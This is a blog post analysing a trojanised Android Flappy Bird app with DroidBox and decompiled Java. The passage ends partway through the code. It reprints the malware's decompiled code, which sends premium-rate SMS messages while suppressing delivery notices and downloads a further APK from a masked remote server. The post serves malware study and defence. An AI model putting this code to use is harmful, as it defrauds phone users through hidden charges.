SSH honeypot, deployed in the wild, collecting and sharing data

How To Dissect Android Flappy Bird Malware

16 Mar 2014 • 25 min read

Flappy Bird screenshotComing up in this blog post: dissecting malicious version of Flappy Bird reveals premium rate SMS message sent without user being aware.

I'm at a point with the project where I'm diverging away from the honeypot for a moment to look at other sources of malware.

I'm keen to see how Android malware is put together and how to reverse engineer it to see what's going on under the hood.

So in this blog post I'll be focusing on how to dissect one of the malicious versions of Flappy Bird.

Flappy Bird

First, a brief introduction and background on what Flappy Bird is.

Flappy bird is a game created by Vietnamese developer Dong Nguyen and published by indie game producer .GEARS Studios.

Dong Nguyen released the game on 24th May 2013 and it suddenly became popular in early 2014. It's reported that the game was earning $50,000 per day from adverts which were displayed within the game (see Indie smash hit 'Flappy Bird' racks up $50K per day in ad revenue).

Creator Dong removed the game from Apple and Google on the 10th February 2014 after feeling guilty because the game was too addictive (see Flappy Bird taken down: App creator removes addictive smartphone hit from app store).

Having been removed from both both Apple's App Store and Google Play, various malicious versions of the app started to appear online to fill the gap (see Trend Micro's Trojanized Flappy Bird Comes on the Heels of Takedown by App Creator).

20th March 2014 UPDATE: Dong has recently said that he'll be bringing Flappy Bird back soon, (see Flappy Bird to return, says creator Dong Nguyen).

So it's one of these malicious version of Flappy Bird that I'll be dissecting in this blog post.

Flappy Bird Malware Dissection

App MD5: 6c357ac34d061c97e6237ce9bd1fe003

The MD5 sum of the APK file I'll be dissecting is displayed above. The MD5 sum (Wikipedia: md5sum) of a file acts as a digital fingerprint so we can quickly identify a file. See also: What All This MD5 Hash Stuff Actually Means.

The tools I'll be using for this dissection are:

  • DroidBox - a dynamic analysis tool that shows us what an app is doing (i.e. files/websites accessed etc) when it's running
  • Android Emulator (included in the Android SDK - used to run the APK file
  • dex2jar - a set of tools that reads Dalvik Executable (.dex/.odex) files and outputs .jar files
  • JD-GUI graphical utility that displays Java source codes of .jar files

This dissection is broken down into two parts:

  • Dynamic Analysis
  • Static Analysis

During the dynamic analysis phase we'll let the app run in an emulated environment to see what files and websites it accesses. This will be key to determining what we're looking for in the static analysis phase.

During the static analysis phase we'll be reverse engineering the APK file to produce the Java source code. This should allow us to see what sort of methods and code are being used to piece the app together - and more importantly: where the malicious activity occurs.

Dynamic Analysis

The main tool I'll be using for dynamic analysis is DroidBox. Follow the instructions below to get DroidBox running on your machine.

DroidBox state that their software's only been tested on Linux and Mac OS. I ran the entire dissection on Linux Ubuntu without any major issues.

To get DroidBox running you'll need Python installed on your machine along with the Python libraries pylab and matplotlib.

Once Python's installed you'll need to download and install the Android SDK from http://developer.android.com/sdk/index.html.

Open up a terminal window (keyboard shortcut Ctrl + Alt + t in Ubuntu) and enter the following two commands to export the SDK path. This simply means that we can work from any directory and still have access to the tools inside the SDK folders

export PATH=$PATH:/path/to/android-sdk/tools/
export PATH=$PATH:/path/to/android-sdk/platform-tools/

Next, download the latest version of DroidBox:

wget http://droidbox.googlecode.com/files/DroidBox411RC.tar.gz

Then extract the archive somewhere on your machine and change into that directory:

tar -zxvf DroidBox411RC.tar.gz
cd DroidBox411RC

Now we can fire up the Android Virtual Device (AVD) manager and then create a new Android Nexus 4 device running Android version 4.2.1:

android

Make sure you're in the DroiBox directory, then start the Android emulator with the new device by running

./startemu.sh <AVD name>

It might take the emulator a while to book up. Once it's running enter the following command to install and run the Flappy Bird APK:

./droidbox.sh flappy-bird.apk

What you should see in the terminal windows is:

 ____                        __  ____
/\  _`\               __    /\ \/\  _`\
\ \ \/\ \  _ __  ___ /\_\   \_\ \ \ \L\ \   ___   __  _
 \ \ \ \ \/\`'__\ __`\/\ \  /'_` \ \  _ <' / __`\/\ \/'\
  \ \ \_\ \ \ \/\ \L\ \ \ \/\ \L\ \ \ \L\ \ \L\ \/>  </
   \ \____/\ \_\ \____/\ \_\ \___,_\ \____/ \____//\_/\_\
    \/___/  \/_/\/___/  \/_/\/__,_ /\/___/ \/___/ \//\/_/
Waiting for the device...
Installing the application flappy-bird.apk...
Running the component com.hdc.bookmark3934/com.hdc.mlink_x5.MainActivity...
Starting the activity com.hdc.mlink_x5.MainActivity...
Application started
Analyzing the application during infinite time seconds...
    [-] Collected 13 sandbox logs (Ctrl-C to view logs)

While in the emulator window you should see Flappy Bird running. So at this point DroidBox is actively collecting logs of what the Flappy Bird app is doing on the Android system. Press Ctrl-C to stop DroidBox and see the logs.

DroidBox should now output the logs in JSON format. Here's an example JSON output from running Flappy Bird:

{
  "apkName": "flappy-bird.apk",
  "enfperm": [
    
  ],
  "recvnet": {
    "2.104520797729492": {
      "data": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e780d0a446174653a2053756e2c203136204d617220323031342031323a33323a343620474d540d0a436f6e74656e742d547970653a20746578742f68746d6c3b20636861727365",
      "host": "210.***.***.195",
      "type": "net read",
      "port": "80"
    },
    "2.1131179332733154": {
      "data": "0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a582d506f77657265642d42793a205048502f352e332e330d0a5365742d436f6f6b69653a205048505345535349443d753272317133646275743568656631616d6f3830626e746172323b20",
      "host": "210.***.***.195",
      "type": "net read",
      "port": "80"
    },
    "2.1321218013763428": {
      "data": "742d456e636f64696e670d0a436f6e74656e742d456e636f64696e673a20677a69700d0a0d0a1f8b08000000000000033337373100004a2f6ff00400000076616c69646174652c20706f73742d636865636b3d302c207072652d636865636b3d300d0a50",
      "host": "210.***.***.195",
      "type": "net read",
      "port": "80"
    },
    "3.130279779434204": {
      "data": "436f6e74726f6c3a206d61782d6167653d3630343830300d0a4163636570742d52616e6765733a2062797465730d0a0d0affd8ffe000104a46494600010101004800480000ffdb004300080606070605080707070909080a0c140d0c0b0b0c1912130f14",
      "host": "210.***.***.195",
      "type": "net read",
      "port": "80"
    },
    "13.584807872772217": {
      "data": "485454502f312e3120323030204f4b0d0a446174653a2053756e2c203136204d617220323031342031323a33323a353720474d540d0a4163636570742d52616e6765733a2062797465730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a",
      "host": "210.***.**.196",
      "type": "net read",
      "port": "80"
    },
    "11.968261957168579": {
      "data": "0a0d0a504b0304140008000800374c5d38000000000000000000000000140004004d4554412d494e462f4d414e49464553542e4d46feca0000ad59c992da5a12dd3bc2ffe06577285c1262925e84171ad1006840136c2a846634eb6ae4eb9b67bbbbfdca",
      "host": "210.***.**.196",
      "type": "net read",
      "port": "80"
    },
    "2.8462908267974854": {
      "data": "65643a205361742c2030382046656220323031342030323a31323a303020474d540d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a455461673a202235326635393237302d32326433220d0a457870697265733a2053756e2c203233204d",
      "host": "210.***.***.195",
      "type": "net read",
      "port": "80"
    },
    "2.8404297828674316": {
      "data": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e780d0a446174653a2053756e2c203136204d617220323031342031323a33323a343720474d540d0a436f6e74656e742d547970653a20696d6167652f6a7065670d0a436f6e7465",
      "host": "210.***.***.195",
      "type": "net read",
      "port": "80"
    },
    "11.675630807876587": {
      "data": "485454502f312e3120323030204f4b0d0a446174653a2053756e2c203136204d617220323031342031323a33323a353520474d540d0a4163636570742d52616e6765733a2062797465730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a",
      "host": "210.***.**.196",
      "type": "net read",
      "port": "80"
    },
    "11.910815000534058": {
      "data": "30300d0a4c6173742d4d6f6469666965643a205361742c2030382046656220323031342030323a31333a313320474d540d0a436f6e74656e742d547970653a206170706c69636174696f6e2f766e642e616e64726f69642e7061636b6167652d61726368",
      "host": "210.***.**.196",
      "type": "net read",
      "port": "80"
    },
    "14.005896806716919": {
      "data": "0a0d0a504b0304140008000800374c5d38000000000000000000000000140004004d4554412d494e462f4d414e49464553542e4d46feca0000ad59c992da5a12dd3bc2ffe06577285c1262925e84171ad1006840136c2a846634eb6ae4eb9b67bbbbfdca",
      "host": "210.***.**.196",
      "type": "net read",
      "port": "80"
    },
    "13.692770957946777": {
      "data": "30300d0a4c6173742d4d6f6469666965643a205361742c2030382046656220323031342030323a31333a313320474d540d0a436f6e74656e742d547970653a206170706c69636174696f6e2f766e642e616e64726f69642e7061636b6167652d61726368",
      "host": "210.***.**.196",
      "type": "net read",
      "port": "80"
    },
    "2.1189818382263184": {
      "data": "20313938312030383a35323a303020474d540d0a43616368652d436f6e74726f6c3a206e6f2d73746f72652c206e6f2d63616368652c206d7573742d726576616c69646174652c20706f73742d636865636b3d302c207072652d636865636b3d300d0a50",
      "host": "210.***.***.195",
      "type": "net read",
      "port": "80"
    }
  },
  "servicestart": {
    
  },
  "sendsms": {
    "7.549656867980957": {
      "message": "BMK BOKMA 2 12d2a43f2c03bbfbaa3a12cc65078143 3934",
      "type": "sms",
      "number": "7740"
    },
    "10.157855987548828": {
      "message": "BMK BOKMA 2 12d2a43f2c03bbfbaa3a12cc65078143 3934",
      "type": "sms",
      "number": "7740"
    }
  },
  "cryptousage": {
    
  },
  "sendnet": {
    "1.6028339862823486": {
      "type": "net write",
      "desthost": "210.***.***.195",
      "fd": "16",
      "operation": "send",
      "data": "474554202f626f6f6b6d61726b2f67657453657276696365436f64653f70726963653d313530303020485454502f312e310d0a557365722d4167656e743a2044616c76696b2f312e362e3020284c696e75783b20553b20416e64726f696420342e312e31",
      "destport": "80"
    },
    "2.5497188568115234": {
      "type": "net write",
      "desthost": "210.***.***.195",
      "fd": "19",
      "operation": "send",
      "data": "474554202f75706c6f61642f626f6f6b6d61726b2f323031342f303230382f666c617070795f312e6a706720485454502f312e310d0a557365722d4167656e743a2044616c76696b2f312e362e3020284c696e75783b20553b20416e64726f696420342e",
      "destport": "80"
    },
    "11.307919979095459": {
      "type": "net write",
      "desthost": "210.***.**.196",
      "fd": "26",
      "operation": "send",
      "data": "474554202f6170702f666c617070792e61706b20485454502f312e310d0a557365722d4167656e743a2044616c76696b2f312e362e3020284c696e75783b20553b20416e64726f696420342e312e313b2046756c6c20416e64726f6964206f6e20456d75",
      "destport": "80"
    },
    "13.101272821426392": {
      "type": "net write",
      "desthost": "210.***.**.196",
      "fd": "28",
      "operation": "send",
      "data": "474554202f6170702f666c617070792e61706b20485454502f312e310d0a557365722d4167656e743a2044616c76696b2f312e362e3020284c696e75783b20553b20416e64726f696420342e312e313b2046756c6c20416e64726f6964206f6e20456d75",
      "destport": "80"
    }
  },
  "accessedfiles": {
    "1033683943": "/proc/1188/cmdline",
    "1067199142": "/data/data/com.hdc.bookmark3934/app_mytime/checktime.txt",
    "1325730693": "/proc/1163/cmdline",
    "839394932": "/proc/1174/cmdline"
  },
  "fdaccess": {
    "4.386643886566162": {
      "path": "/proc/1163/cmdline",
      "operation": "read",
      "data": "636f6d2e6864632e626f6f6b6d61726b333933340000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000702f666c617070792d626972642e61706b00707079626972",
      "id": "1325730693",
      "type": "file read"
    },
    "4.41674280166626": {
      "path": "/proc/1174/cmdline",
      "operation": "read",
      "data": "6c6f676361740044726f6964426f783a570064616c76696b766d3a570041637469766974794d616e616765723a49000000000000000000000000000000000000000000000000000000000000702f666c617070792d626972642e61706b00707079626972",
      "id": "839394932",
      "type": "file read"
    },
    "15.97931981086731": {
      "path": "/proc/1188/cmdline",
      "operation": "read",
      "data": "636f6d2e616e64726f69642e7061636b616765696e7374616c6c6572000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000702f666c617070792d626972642e61706b00707079626972",
      "id": "1033683943",
      "type": "file read"
    },
    "10.113840818405151": {
      "path": "/data/data/com.hdc.bookmark3934/app_mytime/checktime.txt",
      "operation": "write",
      "data": "00086d6c696e6b5f7835",
      "id": "1067199142",
      "type": "file write"
    }
  },
  "dataleaks": {
    
  },
  "opennet": {
    "1.300102949142456": {
      "desthost": "210.***.***.195",
      "fd": "16",
      "destport": "80"
    },
    "2.210848808288574": {
      "desthost": "210.***.***.195",
      "fd": "19",
      "destport": "80"
    },
    "12.578583002090454": {
      "desthost": "210.***.**.196",
      "fd": "28",
      "destport": "80"
    },
    "10.951124906539917": {
      "desthost": "210.***.**.196",
      "fd": "26",
      "destport": "80"
    }
  },
  "recvsaction": {
    "vn.adflex.sdk.AdFlexBootUpReceiver": "android.intent.action.PACKAGE_RESTARTED"
  },
  "dexclass": {
    "0.32921576499938965": {
      "path": "/data/app/com.hdc.bookmark3934-1.apk",
      "type": "dexload"
    },
    "15.300875902175903": {
      "path": "/system/app/PackageInstaller.apk",
      "type": "dexload"
    }
  },
  "hashes": [
    "6c357ac34d061c97e6237ce9bd1fe003",
    "79e911f1b3c0f1ccd2012832b92fdff548d54b3f",
    "5782758e98698dbcfa1821a56d4501c73efeeec7425dd5aa129e386542666cd5"
  ],
  "closenet": {
    
  },
  "phonecalls": {
    
  }
}

NB: I've masked the IP addresses above to keen identities anonymous, this simply ensures that my project complies with the BCS Code of Conduct.

There's a lot of information here but the most obvious sign that something's not quite right with this app is when it sends a text message.

I've highlighted part of the above JSON output (lines 89 - 98) in the sendsms section. DroidBox has detected that two SMS messages (containing the text "BMK BOKMA 2 12d2a43f2c03bbfbaa3a12cc65078143 3934") are being sent to the number 7740.

Having searched online I can't find anything about the SMS number 7740. However, according to the Polish website http://www.ilekosztujesms.pl/07540/, the number 7540 costs 5 PLN (Polish Zloty) or about 1 GBP to send a message to.

So at this stage of the dissection it looks like the app is acting a bit suspiciously since two SMS messages were sent without the user of the phone being aware.

Another thing that's worth investigating is the two IP addresses the app contacts.

On line number 110 of the JSON output the app connects to 210.***.***.195 and sends the following data:

474554202f626f6f6b6d61726b2f67657453657276696365436f64653f70726963653d31353
0303020485454502f312e310d0a557365722d4167656e743a2044616c76696b2f312e362e30
20284c696e75783b20553b20416e64726f696420342e312e31

Note that the above data is shown in hexadecimal since the handled data can contain binary data. Converting this data into ASCII reveals the data to be:

GET /bookmark/getServiceCode?price=15000 HTTP/1.1
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.1.1

So the app connects to the URL http://210.***.***.195/bookmark/getServiceCode?price=15000. But what gets returned from this website? The value 7740 i.e. the phone number to send an SMS message to.

I played around with this URL, trying different values for the price value and these are the results I got:

price=20000 returns 7040
price=30000 returns 7040
price=10000 returns 7640
price=5000 returns 7540
price=1000 returns 7040

Aha! We have a match: the number 7540, according to the polish website (http://www.ilekosztujesms.pl/07540/) costs 5 PLN (Polish Zloty) to send an SMS message to (or just under 1 GBP).

NB: I have a feeling that the prices above are in Vietnamese Dong currency (since, as we'll see later in the dissection, the app includes Vietnamese strings) and that the numbers being returned from the website are Vietnamese premium rate SMS numbers. However, this is just an assumption since I was unable to find any evidence to prove these numbers exist in Vietnam.

Something else that seems a bit odd is on line number 118 whereby the app accesses the URL:

GET /upload/bookmark/2014/0208/flappy_1.jpg HTTP/1.1
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.

This seems odd because the APK comes with an assets folder which contains all the images that are already displayed within the running app. We'll make a note of this suspicious activity and look out for it in the static analysis phase later.

To summarise: we now understand that the Flappy Bird app connects to a website to determine which premium rate number to send its SMS messages to and that different premium rate numbers can be used to adjust the cost, and thus presumably the revenue generated by the malicious app.

But what about the other IP address the app contacts; 210.***.**.196? Line number 126 of the JSON output shows that the following URL is accessed:

http://210.***.**.196/app/flappy.apk

The data above shows that the app is now downloading another APK: flappy.apk. Perhaps our version of Flappy Bird is just a "downloader" which charges its users (via premium rate SMS) to download the real version of Flappy Bird - or perhaps it's downloading yet another malicious version of Flappy Bird.

So at this stage we have a pretty good picture of what the app is doing:

  1. Charge the user by sending premium rate SMS messages
  2. Download Flappy Bird

With this information, let's move onto the static analysis phase and pick out the specific bits of code that are doing all this.

Static Analysis

Moving onto the static analysis phase, the main tools we'll be using here are dex2jar and JD-GUI.

The first objective here is to turn the APK file into readable Java code. The main way to achieve this is by converting the Dalvik Executable (.dex/.odex) files into Java class files.

Let's pause quickly to explore exactly what APK files are and where they sit in the Android operating system.

Android Application Package files (or APK files for short, see Wikipedia: APK files) are essentially just zipped archives. These archives usually contain:

  • META-INF: meta info directory
  • lib: directory containing compiled code
  • res: resources directory
  • assets: application assets directory
  • AndroidManifest.xml: additional manifest file describing name, version, access rights and referenced library files for the app
  • classes.dex: the main Dalvik Executable file
  • resources.arsc: precompiled resources e.g. binary XML

So the file we're most interested in is classes.dex which is a Dalvik Executable file. Dalvik is basically a virtual machine running on the Android operating system that runs the apps (see Wikipedia: Dalvik).

To see the contents of an APK file you can either open the file in an archive manager (such as File Roller in Ubuntu), or rename the file from .apk to .zip and double-click the file - which should open it in your default archive manager.

We want to convert this clases.dex file into a .jar file so we can view its source code as Java. This can be done by using dex2jar. Follow the instructions below to produce the .jar file from classes.dex:

First, download dex2jar from http://code.google.com/p/dex2jar/downloads/list and unzip it somewhere suitable on your machine:

unzip -x dex2jar-version.zip -d /home/user/dex2jar

Once unzipped, we can use dex2jar right away using the following command line:

sh /home/user/dex2jar-version/d2j-dex2jar.sh /home/user/flappy-bird.apk

This should produce a .jar file which we can now open in JD-GUI. Follow the instructions below to view the .jar file in JD-GUI:

Download JD-GUI from http://jd.benow.ca/#jd-gui-download and extract the file using the following command:

tar -zxvf jd-gui-version.linux.i686.tar.gz

You should now be able to navigate inside the JD-GUI folder and run the Java executable file jd-gui.

Opening our Flappy Bird .jar file in JD-GUI should look similar to the screenshot below:

Flappy Bird .jar file

Looking at the tree view of classes on the left of JD-GUI reveals a class called "SendSMS" under package "utilities". This looks suspicious for a game which has no reason to be sending SMS messages.

The entire SendSMS class is shown below, I've highlighted some suspicious lines:

package com.hdc.ultilities;

import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.telephony.SmsManager;
import android.util.Log;
import android.widget.Toast;

public class SendSMS
{
  public static String address;
  public static String dauso_last;
  public static String dauso_x;
  public static int discount;

  public static void send(String paramString1, String paramString2, Context paramContext, String paramString3, int paramInt, String paramString4)
  {
    address = paramString2.trim();
    discount = paramInt;
    dauso_x = paramString3;
    dauso_last = paramString4;
    new Thread(new Runnable(paramContext, paramString1)
    {
      public void run()
      {
        try
        {
          PendingIntent localPendingIntent1 = PendingIntent.getBroadcast(SendSMS.this, 0, new Intent("SMS_SENT"), 0);
          PendingIntent localPendingIntent2 = PendingIntent.getBroadcast(SendSMS.this, 0, new Intent("SMS_DELIVERED"), 0);
          SmsManager localSmsManager = SmsManager.getDefault();
          SendSMS.this.registerReceiver(new BroadcastReceiver(SendSMS.this, this.val$data)
          {
            public void onReceive(Context paramContext, Intent paramIntent)
            {
              switch (getResultCode())
              {
              case 0:
              case 2:
              case 3:
              case 4:
              default:
              case -1:
              case 1:
              }
              do
              {
                return;
                Toast.makeText(this.val$instance, "G?i thành công", 0).show();
                Log.i("dau so: " + SendSMS.dauso_x, SendSMS.dauso_x + SendSMS.discount + SendSMS.dauso_last);
                return;
                SendSMS.discount = -1 + SendSMS.discount;
              }
              while (SendSMS.discount < 0);
              Toast.makeText(this.val$instance, "G?i ko ???c", 0).show();
              Log.i("dau so: " + SendSMS.dauso_x, SendSMS.dauso_x + SendSMS.discount + SendSMS.dauso_last);
              SendSMS.send(this.val$data, SendSMS.dauso_x + SendSMS.discount + SendSMS.dauso_last, this.val$instance, SendSMS.dauso_x, SendSMS.discount, SendSMS.dauso_last);
            }
          }
          , new IntentFilter("SMS_SENT"));
          localSmsManager.sendTextMessage(SendSMS.address, null, this.val$data, localPendingIntent1, localPendingIntent2);
          return;
        }
        catch (Exception localException)
        {
          localException.printStackTrace();
        }
      }
    }).start();
  }
}

Line 63 is responsible for sending SMS messages and relies on lines 31 and 32 to prevent the user from seeing the sent and delivery reports. I'll explain how in more detail below.

The method sendTextMessage is part of the Android API (see android.telephony.gsm.SmsManager). The final two parameters of the method (sentIntent and deliveryIntent) define how the sent and delivery notifications should be handled and require PendingIntent objects to work.

The two PendingIntent objects defined on lines 31 and 32 grab the broadcast messages SMS_SENT and SMS_DELIVERED and simply do nothing with them. Therefore the phone's user never sees these notifications and is unaware that an SMS message has been sent.

Interestingly the method sendTextMessage is part of Android API version 1 and has been depreciated since API version 4. The latest version of Android, as of March 2014, is Android 4.4 KitKat which uses API level 19. Perhaps the reason for this old API method call is because the method has a known security weaknesses that can be exploited?

So it looks like this app is sending premium rate SMS messages (we saw this in the dynamic analysis) and that these SMS message sent and delivery reports are being hidden from the user (as we've just seen).

The next question is: at what point is the SMS message sent? Is it triggered when the user clicks on something?

Let's look at the class file MainActivity.class. First I want to highlight some of the global variables that are defined at the top of the class file:

public String pop_up1 = "B?ng cách cài ??t và s? d?ng tṛ ch?i, ph?n m?m này, b?n ???c coi nh? ?ă ch?p nh?n các ?i?u kho?n s? d?ng d??i ?ây c?a chúng tôi: \n1. Không g? b? ho?c vô hi?u hóa b?t k? bi?n pháp b?o v?, quy?n s? h?u hay b?n quy?n có trên ho?c trong tṛ ch?i, ph?n m?m \n2. Không t?o ra các b?n sao b?t ch??c các tính n?ng ho?c giao di?n, d? li?u c?a tṛ ch?i, ph?n m?m này.\n3. Không s? d?ng tṛ ch?i, ph?n m?m này làm công c? ?? gây h?i cho nh?ng ng??i dùng khác.\n4. S?n ph?m có phí và b?n c?n thanh toán ?? ti?p t?c s? d?ng sau th?i gian dùng th?.\n5. Phí s? d?ng s?n ph?m t? 15.000 ? ??n 30.000 ?.";
public String pop_up2 = "   B?n có mu?n kích ho?t không?";

Both of these strings are written in Vietnamese. The translations (according to Google Translate are as follows:

  • pop_up1: "By installing and using games, software, you are deemed to have accepted the terms of use of our following:
    1. Do not remove or disable any protective measures, ownership or copyright on or in games, software.
    2. Do not create duplicate or mimic the interface features, game data, this software.
    3. Do not use games, software as a tool to cause harm to other users.
    4. Our products are free and you need to pay to continue using after the trial period.
    5. Charges for use of products from 15,000 dong to 30,000 dong."
  • pop_up2: "Do you want to activate it?"

These seem like standard terms and conditions, only Flappy Bird is a free app so there shouldn't be a fee to use it. Interestingly the 15,000 to 30,000 dong charge (point 5 above) matches up with the dynamic analysis part where a price value of 15000 is queried (http://210.***.***.195/bookmark/getServiceCode?price=15000).

Later on in the MainActivity.class the method initListView generates these popup dialogues along with the sending of some SMS messages. Here's a code extract from the class file:

while (Service_mLink.number_send == 1)
    {
      openPop_up(this.pop_up1, Service_mLink.number_send, 1);
      this.listView.setOnItemClickListener(new AdapterView.OnItemClickListener()
      {
        public void onItemClick(AdapterView<?> paramAdapterView, View paramView, int paramInt, long paramLong)
        {
          Integer localInteger = Integer.valueOf(0);
          MainActivity.linkInfo = new LinkInfo();
          MainActivity.linkInfo = (LinkInfo)Service_mLink.instance.listLinkInfo.get(paramInt);
          MainActivity.this.link = MainActivity.linkInfo.getLink();
          MainActivity.this.mo = MainActivity.linkInfo.getMo();
          MainActivity.this.servicecode = Service_mLink.svcodeActive;
          MainActivity.this.servicecode2 = MainActivity.linkInfo.getServicecode2();
          if (localInteger.intValue() == 0)
            MainActivity.this.isFirstTime = FileManager.loadFtime(MainActivity.this, MainActivity.this.ftime);
          while ((MainActivity.this.servicecode.equals("")) && (MainActivity.this.servicecode2.equals("")))
          {
            Log.e("servicecodeAll", MainActivity.this.servicecode + "sv : sv2" + MainActivity.this.servicecode2);
            MainActivity.DownloadFileFromURL localDownloadFileFromURL = new MainActivity.DownloadFileFromURL(MainActivity.this);
            String[] arrayOfString = new String[2];
            arrayOfString[0] = MainActivity.this.link;
            arrayOfString[1] = MainActivity.linkInfo.getTitle();
            localDownloadFileFromURL.execute(arrayOfString);
            return;
            Integer.valueOf(1 + localInteger.intValue());
          }
          if ((MainActivity.this.typeNetwork == "VIETNAM_MOBILE") || (MainActivity.this.typeNetwork == "BEELINE"))
            MainActivity.this.checkSVCode(MainActivity.this.servicecode2);
          while (true)
          {
            AlertDialog.Builder localBuilder = new AlertDialog.Builder(MainActivity.this);
            TextView localTextView = new TextView(MainActivity.this);
            localTextView.setText(MainActivity.this.txt_content);
            localTextView.setGravity(1);
            localTextView.setTextColor(Color.parseColor("#ffffff"));
            localBuilder.setView(localTextView);
            localBuilder.setPositiveButton("Ok", new DialogInterface.OnClickListener()
            {
              public void onClick(DialogInterface paramDialogInterface, int paramInt)
              {
                if (Service_mLink.instance.isSim)
                {
                  MainActivity.this.checkInternet();
                  if (MainActivity.this.isConnect)
                  {
                    if ((MainActivity.this.typeNetwork == "VIETNAM_MOBILE") || (MainActivity.this.typeNetwork == "BEELINE"))
                      SendSMS.send(MainActivity.this.mo, MainActivity.this.servicecode2, MainActivity.this, MainActivity.this.type_dauso_X, MainActivity.this.type_discount, MainActivity.this.type_last);
                    try
                    {
                      while (true)
                      {
                        Toast.makeText(MainActivity.this.getApplicationContext(), "Ca?m ?n ba?n ?a? s?? du?ng di?ch vu?", 1000).show();
                        Thread.sleep(1000L);
                        paramDialogInterface.cancel();
                        MainActivity.DownloadFileFromURL localDownloadFileFromURL = new MainActivity.DownloadFileFromURL(MainActivity.this);
                        String[] arrayOfString = new String[2];
                        arrayOfString[0] = MainActivity.this.link;
                        arrayOfString[1] = MainActivity.linkInfo.getTitle();
                        localDownloadFileFromURL.execute(arrayOfString);
                        return;
                        SendSMS.send(MainActivity.this.mo, MainActivity.this.servicecode, MainActivity.this, MainActivity.this.type_dauso_X, MainActivity.this.type_discount, MainActivity.this.type_last);
                      }
                    }
                    catch (InterruptedException localInterruptedException)
                    {
                      while (true)
                        localInterruptedException.printStackTrace();
                    }
                  }
                  AlertDialog.Builder localBuilder = new AlertDialog.Builder(MainActivity.this);
                  localBuilder.create();
                  localBuilder.setTitle("Thông báo");
                  localBuilder.setMessage("B?n vui ḷng ki?m tra k?t n?i Internet !!!");
                  localBuilder.show();
                  return;
                }
                Toast.makeText(MainActivity.this, "B?n ?ă không có Sim ?i?n tho?i.\n B?n không th? kích ho?t và s? d?ng App ???c !!!", 1000).show();
              }
            });
            localBuilder.setNegativeButton("Cancel", new DialogInterface.OnClickListener()
            {
              public void onClick(DialogInterface paramDialogInterface, int paramInt)
              {
                paramDialogInterface.cancel();
              }
            });
            localBuilder.show();
            return;
            MainActivity.this.checkSVCode(MainActivity.this.servicecode);
          }
        }
      });
      return;
      label249: checkSVCode(Service_mLink.svcodeActive);
    }

So it appears that once the user has clicked "Ok" on the dialogue box that pops up, the SMS message is sent. But on line number 62 the SendSMS method is called after a return statement, in other words the SendSMS method is never reached. But how are two SMS messages being sent, as seen in the dynamic analysis?

In the above code, line number 3 shows the method openPop_up being called. Let's explore what this method does:

public void openPop_up(String paramString, int paramInt1, int paramInt2)
  {
    AlertDialog.Builder localBuilder = new AlertDialog.Builder(this);
    View localView = LayoutInflater.from(this).inflate(2130903043, null);
    this.tvlaw = ((TextView)localView.findViewById(2131230726));
    this.tvlaw.setText(paramString);
    this.tvlaw.setTextColor(-1);
    if (paramInt2 == 1)
      localBuilder.setTitle("?i?u kho?n s? d?ng");
    localBuilder.setView(localView);
    localBuilder.setPositiveButton("Ok", new DialogInterface.OnClickListener(paramInt2, paramInt1)
    {
      public void onClick(DialogInterface paramDialogInterface, int paramInt)
      {
        if (Service_mLink.instance.isSim)
        {
          if ((MainActivity.this.typeNetwork == "VIETNAM_MOBILE") || (MainActivity.this.typeNetwork == "BEELINE"))
          {
            SendSMS.send(Service_mLink.mo_Active, Service_mLink.svcodeActive2, MainActivity.this, MainActivity.this.type_dauso_X, MainActivity.this.type_discount, MainActivity.this.type_last);
            Log.i("i", this.val$i);
            if (Service_mLink.instance.listLinkInfo.size() != 1)
              break label345;
            if ((this.val$number_send == 1) && (this.val$i == 1))
            {
              FileManager.saveFTime(MainActivity.this, "mlink_x5", MainActivity.this.ftime);
              MainActivity.DownloadFileFromURL localDownloadFileFromURL2 = new MainActivity.DownloadFileFromURL(MainActivity.this);
              String[] arrayOfString2 = new String[2];
              arrayOfString2[0] = ((LinkInfo)Service_mLink.instance.listLinkInfo.get(0)).getLink();
              arrayOfString2[1] = ((LinkInfo)Service_mLink.instance.listLinkInfo.get(0)).getTitle();
              localDownloadFileFromURL2.execute(arrayOfString2);
            }
            if ((this.val$number_send == 2) && (this.val$i == 2))
            {
              FileManager.saveFTime(MainActivity.this, "mlink_x5", MainActivity.this.ftime);
              MainActivity.DownloadFileFromURL localDownloadFileFromURL1 = new MainActivity.DownloadFileFromURL(MainActivity.this);
              String[] arrayOfString1 = new String[2];
              arrayOfString1[0] = ((LinkInfo)Service_mLink.instance.listLinkInfo.get(0)).getLink();
              arrayOfString1[1] = ((LinkInfo)Service_mLink.instance.listLinkInfo.get(0)).getTitle();
              localDownloadFileFromURL1.execute(arrayOfString1);
            }
          }
          while (true)
          {
            paramDialogInterface.cancel();
            return;
            SendSMS.send(Service_mLink.mo_Active, Service_mLink.svcodeActive, MainActivity.this, MainActivity.this.type_dauso_X, MainActivity.this.type_discount, MainActivity.this.type_last);
            break;
            label345: if ((this.val$number_send == 1) && (this.val$i == 1))
              FileManager.saveFTime(MainActivity.this, "mlink_x5", MainActivity.this.ftime);
            if ((this.val$number_send != 2) || (this.val$i != 2))
              continue;
            FileManager.saveFTime(MainActivity.this, "mlink_x5", MainActivity.this.ftime);
          }
        }
        Toast.makeText(MainActivity.this, "B?n ?ă không có Sim ?i?n tho?i.\n B?n không th? kích ho?t và s? d?ng App ???c !!!", 1000).show();
      }
    });
    localBuilder.setNegativeButton("Cancel", new DialogInterface.OnClickListener(paramInt2, paramInt1)
    {
      public void onClick(DialogInterface paramDialogInterface, int paramInt)
      {
        if (this.val$i == 1)
          try
          {
            MainActivity.this.auto_sms = DownloadImage.instance.getAuto_sms2(Service_mLink.url_config_auto_sms);
            Log.i("auto_sms", MainActivity.this.auto_sms);
            if (Service_mLink.instance.isSim)
            {
              boolean bool = MainActivity.this.auto_sms.equals("1");
              int i = 0;
              if (bool)
              {
